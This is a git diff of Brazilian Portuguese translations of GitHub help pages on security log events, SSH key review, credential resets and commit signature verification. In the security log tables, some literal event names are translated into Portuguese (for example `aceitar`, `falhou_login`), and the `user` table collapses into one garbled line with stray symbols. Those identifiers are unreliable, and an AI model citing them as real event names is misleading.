+| `waitlist_join`                               | Acionada quando você se junta à lista de espera para tornar-se um desenvolvedor patrocinado (consulte "[Configurar {% data variables.product.prodname_sponsors %} para sua conta de usuário](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")                               |
 {% endif %}
 
 {% ifversion fpt or ghec %}
-### `successor_invitation` category actions
+### ações de categoria `successor_invitation`
 
-| Action | Description
-|------------------|-------------------
-| `accept` | Triggered when you accept a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `cancel` | Triggered when you cancel a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `create` | Triggered when you create a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `decline` | Triggered when you decline a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `revoke` | Triggered when you revoke a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
+| Ação       | Descrição                                                                                                                                                                                                                                                                     |
+| ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `aceitar`  | Acionada quando você aceita um convite de sucessão (consulte "[Manter a continuidade da propriedade dos repositórios da conta do seu usuário](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") |
+| `cancelar` | Acionado quando você cancela um convite de sucessão (consulte"[Manter a continuidade da propriedade dos repositórios da conta do seu usuário](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") |
+| `create`   | Acionado quando você cria um convite de sucessão (consulte "[Manter a continuidade da propriedade dos repositórios da conta do usuário](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")       |
+| `recusar`  | Acionado quando você recusa um convite de sucessão (consulte "[Manter a continuidade da propriedade dos repositórios da conta do usuário](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")     |
+| `revogar`  | Acionado quando você revoga um convite de sucessão (consulte "[Manter a continuidade da propriedade dos repositórios da sua conta de usuário](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") |
 {% endif %}
 
 {% ifversion ghes or ghae %}
 
-### `team` category actions
+### ações de categoria de `equipe`
 
-| Action | Description
-|------------------|-------------------
-| `add_member` | Triggered when a member of an organization you belong to [adds you to a team](/articles/adding-organization-members-to-a-team).
-| `add_repository` | Triggered when a team you are a member of is given control of a repository.
-| `create` | Triggered when a new team in an organization you belong to is created.
-| `destroy` | Triggered when a team you are a member of is deleted from the organization.
-| `remove_member` | Triggered when a member of an organization is [removed from a team](/articles/removing-organization-members-from-a-team) you are a member of.
-| `remove_repository` | Triggered when a repository is no longer under a team's control.
+| Ação                | Descrição                                                                                                                                                |
+| ------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `add_member`        | Acionada quando um integrante de uma organização à qual você pertence [adiciona você em uma equipe](/articles/adding-organization-members-to-a-team).    |
+| `add_repository`    | Acionada quando uma equipe da qual você faz parte recebe o controle de um repositório.                                                                   |
+| `create`            | Acionada quando uma equipe é criada em uma organização à qual você pertence.                                                                             |
+| `destroy`           | Acionada quando uma equipe da qual você faz parte é excluída da organização.                                                                             |
+| `remove_member`     | Acionada quando um integrante de uma organização é [removido de uma equipe](/articles/removing-organization-members-from-a-team) da qual você faz parte. |
+| `remove_repository` | Acionada quando um repositório deixa de ser controlado por uma equipe.                                                                                   |
 
 {% endif %}
 
 {% ifversion not ghae %}
-### `two_factor_authentication` category actions
+### ações de categoria`two_factor_authentication`
 
-| Action | Description
-|------------------|-------------------
-| `enabled` | Triggered when [two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) is enabled.
-| `disabled` | Triggered when two-factor authentication is disabled.
+| Ação       | Descrição                                                                                                                          |
+| ---------- | ---------------------------------------------------------------------------------------------------------------------------------- |
+| `enabled`  | Acionada quando a [autenticação de dois fatores](/articles/securing-your-account-with-two-factor-authentication-2fa) é habilitada. |
+| `disabled` | Acionada quando a autenticação de dois fatores é desabilitada.                                                                     |
 {% endif %}
 
-### `user` category actions
+### ações de categoria `user`
 
-| Action | Description
-|--------------------|---------------------
-| `add_email` | Triggered when you {% ifversion not ghae %}[add a new email address](/articles/changing-your-primary-email-address){% else %}add a new email address{% endif %}.{% ifversion fpt or ghec %}
-| `codespaces_trusted_repo_access_granted` | Triggered when you [allow the codespaces you create for a repository to access other repositories owned by your user account](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces.
-| `codespaces_trusted_repo_access_revoked` | Triggered when you [disallow the codespaces you create for a repository to access other repositories owned by your user account](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces. {% endif %}
-| `create` | Triggered when you create a new user account.{% ifversion not ghae %}
-| `change_password` | Triggered when you change your password.
-| `forgot_password` | Triggered when you ask for [a password reset](/articles/how-can-i-reset-my-password).{% endif %}
-| `hide_private_contributions_count` | Triggered when you [hide private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).
-| `login` | Triggered when you log in to {% data variables.product.product_location %}.{% ifversion ghes or ghae %}
-`mandatory_message_viewed`   | Triggered when you view a mandatory message (see "[Customizing user messages](/admin/user-management/customizing-user-messages-for-your-enterprise)" for details) | {% endif %}
-| `failed_login` | Triggered when you failed to log in successfully.
-| `remove_email` | Triggered when you remove an email address.
-| `rename` | Triggered when you rename your account.{% ifversion fpt or ghec %}
-| `report_content` | Triggered when you [report an issue or pull request, or a comment on an issue, pull request, or commit](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).{% endif %}
-| `show_private_contributions_count` | Triggered when you [publicize private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).{% ifversion not ghae %}
-| `two_factor_requested` | Triggered when {% data variables.product.product_name %} asks you for [your two-factor authentication code](/articles/accessing-github-using-two-factor-authentication).{% endif %}
+| Ação                                                                                                                                                                                             | Descrição                                                                                                                                                                                                                                       |
+| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `add_email`                                                                                                                                                                                      | Acionada quando você                                                                                                                                                                                                                            |
+| {% ifversion not ghae %}[adiciona um novo endereço de e-mail](/articles/changing-your-primary-email-address){% else %}adiciona um novo endereço de e-mail{% endif %}.{% ifversion fpt or ghec %} |                                                                                                                                                                                                                                                 |
+| `codespaces_trusted_repo_access_granted`                                                                                                                                                         | Acionada quando você \[permite que os codespaces que você cria para um repositório acessem outros repositórios pertencentes à sua conta de usuário\](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces.     |
+| `codespaces_trusted_repo_access_revoked`                                                                                                                                                         | Acionada quando você \[não permite que os codespaces que você cria para um repositório acessem outros repositórios pertencentes à sua conta de usuário\](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces. |{% endif %}
+| `create`                                                                                                                                                                                         | Acionada quando você cria uma nova conta de usuário.{% ifversion not ghae %}
+| `change_password`                                                                                                                                                                                | Acionada quando você altera a senha.                                                                                                                                                                                                            |
+| `forgot_password`                                                                                                                                                                                | Acionada quando você solicita [a redefinição da senha](/articles/how-can-i-reset-my-password).{% endif %}
+| `hide_private_contributions_count`                                                                                                                                                               | Acionada quando você [oculta as contribuições privadas no seu perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).                                                                                              |
+| `login`                                                                                                                                                                                          | Acionada quando você efetua o login em {% data variables.product.product_location %}.{% ifversion ghes or ghae %}
 
-### `user_status` category actions
 
-| Action | Description
-|--------------------|---------------------
-| `update` | Triggered when you set or change the status on your profile. For more information, see "[Setting a status](/articles/personalizing-your-profile/#setting-a-status)."
-| `destroy` | Triggered when you clear the status on your profile.
+`mandatory_message_viewed`  | Acionada quando você visualiza uma mensagem obrigatória (consulte "[Personalizar mensagens de usuário](/admin/user-management/customizing-user-messages-for-your-enterprise)" para obter detalhes) e ├{% endif %}➲ ├ `falhou_login` | Acionada quando você não efetuou o login com sucesso. | `remove_email` | Acionado quando você remove um endereço de e-mail. | `rename` | Acionado quando você renomeia a sua conta.{% ifversion fpt or ghec %} | `report_content` | Acionado quando você [relata um problema ou pull request ou um comentário em um problema, pull request ou commit](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).{% endif %} | `show_private_contributions_count` | Acionado quando você [publica contribuições privadas no seu perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).{% ifversion not ghae %} | `two_factor_requested` | Acionado quando {% data variables.product.product_name %} solicita [a o seu código de autenticação de dois fatores](/articles/accessing-github-using-two-factor-authentication).{% endif %}
+
+### ações de categoria `user_status`
+
+| Ação      | Descrição                                                                                                                                                                            |
+| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `update`  | Acionada quando você configura ou altera o status no perfil. Para obter mais informações, consulte "[Configurar um status](/articles/personalizing-your-profile/#setting-a-status)". |
+| `destroy` | Acionada quando você remove o status no perfil.                                                                                                                                      |
diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md
index 4d40bff504..a32e4f7b8a 100644
--- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md
+++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing your SSH keys
-intro: 'To keep your credentials secure, you should regularly audit your SSH keys, deploy keys, and review authorized applications that access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.'
+title: Revisar suas chaves SSH
+intro: 'Para manter suas credenciais seguras, você deve regularmente auditar as suas chaves SSH, chaves de implantação e revisar os aplicativos autorizados que acessam a sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.'
 redirect_from:
   - /articles/keeping-your-application-access-tokens-safe
   - /articles/keeping-your-ssh-keys-and-application-access-tokens-safe
@@ -16,32 +16,32 @@ topics:
   - Identity
   - Access management
 ---
-You can delete unauthorized (or possibly compromised) SSH keys to ensure that an attacker no longer has access to your repositories. You can also approve existing SSH keys that are valid.
+
+Você pode excluir chaves SSH não autorizadas (ou potencialmente comprometidas) para evitar que invasores tenham acesso aos seus repositórios. Você também pode aprovar as chaves SSh que são válidas.
 
 {% mac %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
-3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**.
-	![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png)
+3. Na página das chaves SSH, anote as chaves SSH associadas à sua conta. Para as chaves não reconhecidas ou desatualizadas, clique em **Delete** (Excluir). Se houver chaves SSH válidas que deseja manter, clique em **Approve** (Aprovar). ![Lista de chaves SSH](/assets/images/help/settings/settings-ssh-key-review.png)
 
   {% tip %}
 
-     **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys.
+     **Observação:** quando estiver auditando as chaves SSH devido a um erro em uma operação do Git, a chave não verificada que causou o [erro de auditoria da chave SSH](/articles/error-we-re-doing-an-ssh-key-audit) estará em destaque na lista de chaves SSH.
 
   {% endtip %}
 
-4. Open Terminal.
+4. Abra o terminal.
 
 {% data reusables.command_line.start_ssh_agent %}
 
-6. Find and take a note of your public key fingerprint. 
+6. Encontre e anote a impressão digital da chave pública.
   ```shell
   $ ssh-add -l -E sha256
   > 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
   ```
 
-7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer.
+7. As chaves SSH keys {% data variables.product.product_name %} *devem* corresponder às chaves no computador.
 
 {% endmac %}
 
@@ -49,28 +49,27 @@ You can delete unauthorized (or possibly compromised) SSH keys to ensure that an
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
-3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**.
-	![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png)
+3. Na página das chaves SSH, anote as chaves SSH associadas à sua conta. Para as chaves não reconhecidas ou desatualizadas, clique em **Delete** (Excluir). Se houver chaves SSH válidas que deseja manter, clique em **Approve** (Aprovar). ![Lista de chaves SSH](/assets/images/help/settings/settings-ssh-key-review.png)
 
   {% tip %}
 
-     **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys.
+     **Observação:** quando estiver auditando as chaves SSH devido a um erro em uma operação do Git, a chave não verificada que causou o [erro de auditoria da chave SSH](/articles/error-we-re-doing-an-ssh-key-audit) estará em destaque na lista de chaves SSH.
 
   {% endtip %}
 
-4. Open Git Bash. 
+4. Abra o Git Bash.
 
 5. {% data reusables.desktop.windows_git_bash_turn_on_ssh_agent %}
 
   {% data reusables.desktop.windows_git_for_windows_turn_on_ssh_agent %}
 
-6. Find and take a note of your public key fingerprint. 
+6. Encontre e anote a impressão digital da chave pública.
   ```shell
   $ ssh-add -l -E sha256
   > 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
   ```
 
-7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer.
+7. As chaves SSH keys {% data variables.product.product_name %} *devem* corresponder às chaves no computador.
 
 {% endwindows %}
 
@@ -78,31 +77,30 @@ You can delete unauthorized (or possibly compromised) SSH keys to ensure that an
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
-3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**.
-	![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png)
+3. Na página das chaves SSH, anote as chaves SSH associadas à sua conta. Para as chaves não reconhecidas ou desatualizadas, clique em **Delete** (Excluir). Se houver chaves SSH válidas que deseja manter, clique em **Approve** (Aprovar). ![Lista de chaves SSH](/assets/images/help/settings/settings-ssh-key-review.png)
 
   {% tip %}
 
-     **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys.
+     **Observação:** quando estiver auditando as chaves SSH devido a um erro em uma operação do Git, a chave não verificada que causou o [erro de auditoria da chave SSH](/articles/error-we-re-doing-an-ssh-key-audit) estará em destaque na lista de chaves SSH.
 
   {% endtip %}
 
-4. Open Terminal.
+4. Abra o terminal.
 
 {% data reusables.command_line.start_ssh_agent %}
 
-6. Find and take a note of your public key fingerprint. 
+6. Encontre e anote a impressão digital da chave pública.
   ```shell
   $ ssh-add -l -E sha256
   > 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
   ```
 
-7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer.
+7. As chaves SSH keys {% data variables.product.product_name %} *devem* corresponder às chaves no computador.
 
 {% endlinux %}
 
 {% warning %}
 
-**Warning**: If you see an SSH key you're not familiar with on {% data variables.product.product_name %}, delete it immediately and contact {% data variables.contact.contact_support %} for further help. An unidentified public key may indicate a possible security concern.
+**Aviso**: se você encontrar uma chave SSH com a qual não esteja familiarizado em {% data variables.product.product_name %}, delete-a imediatamente e entre em contato com o {% data variables.contact.contact_support %} para obter ajuda. Uma chave pública desconhecida pode indicar um possível problema de segurança.
 
 {% endwarning %}
diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md
index 8ca974ea4b..485706716c 100644
--- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md
+++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md
@@ -1,6 +1,6 @@
 ---
-title: Updating your GitHub access credentials
-intro: '{% data variables.product.product_name %} credentials include{% ifversion not ghae %} not only your password, but also{% endif %} the access tokens, SSH keys, and application API tokens you use to communicate with {% data variables.product.product_name %}. Should you have the need, you can reset all of these access credentials yourself.'
+title: Atualizar credenciais de acesso do GitHub
+intro: 'As credenciais de {% data variables.product.product_name %} incluem{% ifversion not ghae %} não apenas sua senha, mas também{% endif %} os tokens de acesso, Chaves SSH e tokens do aplicativo da API que você usa para se comunicar com {% data variables.product.product_name %}. Se houver necessidade, você mesmo pode redefinir todas essas credenciais de acesso.'
 redirect_from:
   - /articles/rolling-your-credentials
   - /articles/how-can-i-reset-my-password
@@ -15,57 +15,56 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Update access credentials
+shortTitle: Atualizar credenciais de acesso
 ---
-{% ifversion not ghae %}
-## Requesting a new password
 
-1. To request a new password, visit {% ifversion fpt or ghec %}https://{% data variables.product.product_url %}/password_reset{% else %}`https://{% data variables.product.product_url %}/password_reset`{% endif %}.
-2. Enter the email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then click **Send password reset email.** The email will be sent to the backup email address if you have one configured.
-  ![Password reset email request dialog](/assets/images/help/settings/password-recovery-email-request.png)
-3. We'll email you a link that will allow you to reset your password. You must click on this link within 3 hours of receiving the email. If you didn't receive an email from us, make sure to check your spam folder.
-4. If you have enabled two-factor authentication, you will be prompted for your 2FA credentials. Type your 2FA credentials or one of your 2FA recovery codes and click **Verify**.
-  ![Two-factor authentication prompt](/assets/images/help/2fa/2fa-password-reset.png)
-5. Type a new password, confirm your new password, and click **Change password**. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)."
+{% ifversion not ghae %}
+## Solicitar uma nova senha
+
+1. Para solicitar uma nova senha, acesse {% ifversion fpt or ghec %}https://{% data variables.product.product_url %}/password_reset{% else %}`https://{% data variables.product.product_url %}/password_reset`{% endif %}.
+2. Insira o endereço de e-mail associado à sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} e, em seguida, clique em **em Enviar e-mail de redefinição de senha.** O e-mail será enviado para o endereço de e-mail de backup, se você tiver um configurado. ![Caixa de diálogo para solicitar e-mail de redefinição de senha](/assets/images/help/settings/password-recovery-email-request.png)
+3. Nós enviaremos por e-mail um link para você redefinir sua senha. Clique nele em até 3 horas após o recebimento do e-mail. Se você não receber o e-mail com o link, verifique sua pasta de spam.
+4. Se você tiver habilitado a autenticação de dois fatores, será solicitado que você crie suas credenciais de 2FA. Digite as suas credenciais de 2FA ou um de seus códigos de recuperação de 2FA e clique em **Verificar**. ![Instrução de autenticação de dois fatores](/assets/images/help/2fa/2fa-password-reset.png)
+5. Digite uma nova senha, confirme a sua nova senha e clique em **Alterar senha**. Para ajudar a criar uma senha forte, consulte "[Criar uma senha forte](/articles/creating-a-strong-password)".
   {% ifversion fpt or ghec %}![Password recovery box](/assets/images/help/settings/password-recovery-page.png){% else %}
-  ![Password recovery box](/assets/images/enterprise/settings/password-recovery-page.png){% endif %}
+  ![Caixa para recuperar senha](/assets/images/enterprise/settings/password-recovery-page.png){% endif %}
 
 {% tip %}
 
-To avoid losing your password in the future, we suggest using a secure password manager, like [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
+Para evitar perder a sua senha no futuro, sugerimos o uso de um gerenciador de senhas seguro, como [LastPass](https://lastpass.com/) ou [1Password](https://1password.com/).
 
 {% endtip %}
 
-## Changing an existing password
+## Alterar uma senha existente
 
 {% data reusables.repositories.blocked-passwords %}
 
-1. {% data variables.product.signin_link %} to {% data variables.product.product_name %}.
+1. {% data variables.product.signin_link %} para o {% data variables.product.product_name %}.
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-4. Under "Change password", type your old password, a strong new password, and confirm your new password. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)"
-5. Click **Update password**.
+4. Em "Change password" (Alterar senha), insira a senha antiga, digite uma nova senha forte e confirme a nova senha. Consulte "[Criar uma senha forte](/articles/creating-a-strong-password)" para obter ajuda sobre esse assunto.
+5. Clique em **Update password** (Atualizar senha).
 
 {% tip %}
 
-For greater security, enable two-factor authentication in addition to changing your password. See [About two-factor authentication](/articles/about-two-factor-authentication) for more details.
+Para maior segurança, além de alterar a senha, habilite também a autenticação de dois fatores. Consulte [Sobre a autenticação de dois fatores](/articles/about-two-factor-authentication) para ver mais detalhes.
 
 {% endtip %}
 {% endif %}
-## Updating your access tokens
+## Atualizar tokens de acesso
 
-See "[Reviewing your authorized integrations](/articles/reviewing-your-authorized-integrations)" for instructions on reviewing and deleting access tokens. To generate new access tokens, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+Consulte "[Revisar integrações autorizadas](/articles/reviewing-your-authorized-integrations)" para ver instruções sobre como revisar e excluir tokens de acesso. Para gerar novos tokens de acesso, consulte "[Criar um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)."
 
-## Updating your SSH keys
+## Atualizar chaves SSH
 
-See "[Reviewing your SSH keys](/articles/reviewing-your-ssh-keys)" for instructions on reviewing and deleting SSH keys. To generate and add new SSH keys, see "[Generating an SSH key](/articles/generating-an-ssh-key)."
+Consulte "[Revisar as chaves SSH](/articles/reviewing-your-ssh-keys)" para ver instruções sobre como revisar e excluir chaves SSH. Para gerar e adicionar novas chaves SSH, consulte "[Gerar uma chave SSH](/articles/generating-an-ssh-key)".
 
-## Resetting API tokens
+## Redefinir tokens da API
 
-If you have any applications registered with {% data variables.product.product_name %}, you'll want to reset their OAuth tokens. For more information, see the "[Reset an authorization](/rest/reference/apps#reset-an-authorization)" endpoint.
+Se você tiver algum aplicativo registrado no {% data variables.product.product_name %}, talvez precise redefinir os tokens OAuth dele. Para obter mais informações, consulte o ponto de extremidade "[Redefinir uma autorização](/rest/reference/apps#reset-an-authorization)".
 
 {% ifversion not ghae %}
-## Preventing unauthorized access
+## Impedir acesso não autorizado
 
-For more tips on securing your account and preventing unauthorized access, see "[Preventing unauthorized access](/articles/preventing-unauthorized-access)."
+Consulte "[Impedir acesso não autorizado](/articles/preventing-unauthorized-access)" para obter mais dicas sobre como proteger a conta e impedir acesso não autorizado.
 {% endif %}
diff --git a/translations/pt-BR/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md b/translations/pt-BR/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md
index e369530726..b136bfa643 100644
--- a/translations/pt-BR/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md
+++ b/translations/pt-BR/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md
@@ -1,6 +1,6 @@
 ---
-title: About commit signature verification
-intro: 'Using GPG or S/MIME, you can sign tags and commits locally. These tags or commits are marked as verified on {% data variables.product.product_name %} so other people can be confident that the changes come from a trusted source.'
+title: Sobre a verificação de assinatura de commit
+intro: 'Ao usar GPG ou S/MIME, você pode assinar tags e commits localmente. Essas tags ou commits estão marcadas como verificadas em {% data variables.product.product_name %} para que outras pessoas possam estar confiantes de que as alterações vêm de uma fonte de confiança.'
 redirect_from:
   - /articles/about-gpg-commit-and-tag-signatures
   - /articles/about-gpg
@@ -15,84 +15,85 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Commit signature verification
+shortTitle: Fazer commit da verificação de assinatura
 ---
-## About commit signature verification
 
-You can sign commits and tags locally, to give other people confidence about the origin of a change you have made. If a commit or tag has a GPG or S/MIME signature that is cryptographically verifiable, GitHub marks the commit or tag {% ifversion fpt or ghec %}"Verified" or "Partially verified."{% else %}"Verified."{% endif %}
+## Sobre a verificação de assinatura de commit
 
-![Verified commit](/assets/images/help/commits/verified-commit.png)
+Você pode assinar commits e tags localmente para dar a outras pessoas confiança sobre a origem de uma alteração que você fez. Se um commit ou tag tiver uma assinatura GPG ou S/MIME que seja verificável criptograficamente, o GitHub marcará o commit ou a tag {% ifversion fpt or ghec %}"Verificado" ou "Verificado parcialmente."{% else %}"Verificado."{% endif %}
+
+![Commit verificado](/assets/images/help/commits/verified-commit.png)
 
 {% ifversion fpt or ghec %}
-Commits and tags have the following verification statuses, depending on whether you have enabled vigilant mode. By default vigilant mode is not enabled. For information on how to enable vigilant mode, see "[Displaying verification statuses for all of your commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)."
+Os commits e tags têm o seguinte status de verificação, dependendo se você habilitou o modo vigilante. Por padrão, o modo vigilante não está habilitado. Para obter informações sobre como habilitar o modo vigilante, consulte "[Exibir status de verificação para todos os seus commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)".
 
 {% data reusables.identity-and-permissions.vigilant-mode-beta-note %}
 
-### Default statuses
+### Status padrão
 
-| Status         | Description |
-| -------------- | ----------- |
-| **Verified**   | The commit is signed and the signature was successfully verified.
-| **Unverified** | The commit is signed but the signature could not be verified.
-| No verification status | The commit is not signed.
+| Status                    | Descrição                                                           |
+| ------------------------- | ------------------------------------------------------------------- |
+| **Verificado**            | O commit foi assinado e a assinatura foi verificada com sucesso.    |
+| **Não verificado**        | O commit foi assinado, mas não foi possível verificar a assinatura. |
+| Sem status de verificação | O commit não foi assinado.                                          |
 
-### Statuses with vigilant mode enabled
+### Status com modo vigilante habilitado
 
 {% data reusables.identity-and-permissions.vigilant-mode-verification-statuses %}
 
 {% else %}
-If a commit or tag has a signature that can't be verified, {% data variables.product.product_name %} marks the commit or tag "Unverified."
+Se um commit ou tag tiver uma assinatura que não pode ser verificada, {% data variables.product.product_name %} marca o commit ou a tag "não verificada".
 {% endif %}
 
-Repository administrators can enforce required commit signing on a branch to block all commits that are not signed and verified. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-signed-commits)."
+Os administradores do repositório podem impor a assinatura de commit obrigatória em um branch para bloquear todos os commits que não estejam assinados e verificados. Para obter mais informações, consulte "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches#require-signed-commits)."
 
 {% data reusables.identity-and-permissions.verification-status-check %}
 
 {% ifversion fpt or ghec %}
-{% data variables.product.product_name %} will automatically use GPG to sign commits you make using the {% data variables.product.product_name %} web interface. Commits signed by {% data variables.product.product_name %} will have a verified status on {% data variables.product.product_name %}. You can verify the signature locally using the public key available at https://github.com/web-flow.gpg. The full fingerprint of the key is `5DE3 E050 9C47 EA3C F04A 42D3 4AEE 18F8 3AFD EB23`. You can optionally choose to have {% data variables.product.product_name %} sign commits you make in {% data variables.product.prodname_codespaces %}. For more information about enabling GPG verification for your codespaces, see "[Managing GPG verification for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces)."
+{% data variables.product.product_name %} usará automaticamente o GPG para assinar os commits que você criar usando a interface web de {% data variables.product.product_name %}. Commits assinados por {% data variables.product.product_name %} terão um status de verificado em {% data variables.product.product_name %}. É possível verificar a assinatura localmente usando a chave pública disponível em https://github.com/web-flow.gpg. A impressão digital completa da chave é `5DE3 E050 9C47 EA3C F04A 42D3 4AEE 18F8 3AFD EB23`. Opcionalmente, você pode escolher que {% data variables.product.product_name %} assine os commits que você fizer em {% data variables.product.prodname_codespaces %}. Para obter mais informações sobre como habilitar a verificação de GPG para os seus códigos, consulte "[Gerenciar a verificação de GPG para {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces)".
 {% endif %}
 
-## GPG commit signature verification
+## Verificação da assinatura de commit GPG
 
-You can use GPG to sign commits with a GPG key that you generate yourself.
+É possível usar GPG para assinar commits com uma chave GPG que você mesmo gera.
 
-{% data variables.product.product_name %} uses OpenPGP libraries to confirm that your locally signed commits and tags are cryptographically verifiable against a public key you have added to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
+{% data variables.product.product_name %} usa bibliotecas OpenPGP para confirmar que seus commits e tags assinados localmente são verificáveis criptograficamente com base em uma chave pública que você adicionou à sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
 
-To sign commits using GPG and have those commits verified on {% data variables.product.product_name %}, follow these steps:
+Para assinar commits usando GPG e para que esses commits sejam verificados no {% data variables.product.product_name %}, siga estas etapas:
 
-1. [Check for existing GPG keys](/articles/checking-for-existing-gpg-keys)
-2. [Generate a new GPG key](/articles/generating-a-new-gpg-key)
-3. [Add a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)
-4. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key)
-5. [Sign commits](/articles/signing-commits)
-6. [Sign tags](/articles/signing-tags)
